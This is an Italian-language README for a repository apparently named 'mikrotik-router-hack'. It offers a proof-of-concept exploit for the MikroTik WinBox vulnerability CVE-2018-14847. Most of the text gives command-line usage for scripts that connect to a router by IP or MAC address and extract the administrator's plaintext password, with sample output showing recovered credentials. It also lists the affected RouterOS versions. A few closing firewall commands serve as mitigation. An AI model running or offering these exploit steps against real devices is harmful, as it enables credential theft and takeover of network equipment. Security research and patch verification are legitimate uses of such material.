hacker30468/mikrotik-router-hackQuesta è una prova di concetto della vulnerabilità critica di WinBox (CVE-2018-14847) che consente la lettura arbitraria di file contenenti password in chiaro. La vulnerabilità è stata corretta molto tempo fa, quindi questo progetto è terminato e non verrà più supportato o aggiornato. Puoi forkarlo e aggiornarlo tu stesso.
Questa è una prova di concetto della critica vulnerabilità WinBox (CVE-2018-14847) che permette la lettura arbitraria di file contenenti password in testo chiaro.
La vulnerabilità è stata corretta da tempo, quindi questo progetto è terminato e non sarà più supportato o aggiornato. Puoi forkarlo e aggiornarlo da solo.
https://n0p.me/winbox-bug-dissection/
Questo script NON funzionerà con Python 2.x o versioni precedenti.
Lo script si usa semplicemente con argomenti semplici dalla riga di comando.
Sfrutta la vulnerabilità e legge la password.
python3 WinboxExploit.py <IP-ADDRESS> [PORT]
Esempio:
$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord
Puoi estrarre file anche se il dispositivo non ha un indirizzo IP.
Semplice controllo di scoperta per dispositivi Mikrotik connessi localmente.
python3 MACServerDiscover.py
Esempio:
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)
aa:bb:cc:dd:ee:ff
aa:bb:cc:dd:ee:aa
Sfrutta la vulnerabilità e legge la password.
python3 MACServerExploit.py <MAC-ADDRESS>
Esempio:
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
User: admin
Pass: Th3P4ssWord
Tutte le versioni di RouterOS dal 28-05-2015 al 20-04-2018 sono vulnerabili a questo exploit.
Dispositivi Mikrotik che eseguono versioni RouterOS:
Per maggiori informazioni vedere: https://blog.mikrotik.com/security/winbox-vulnerability.html
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
/tool mac-server mac-winbox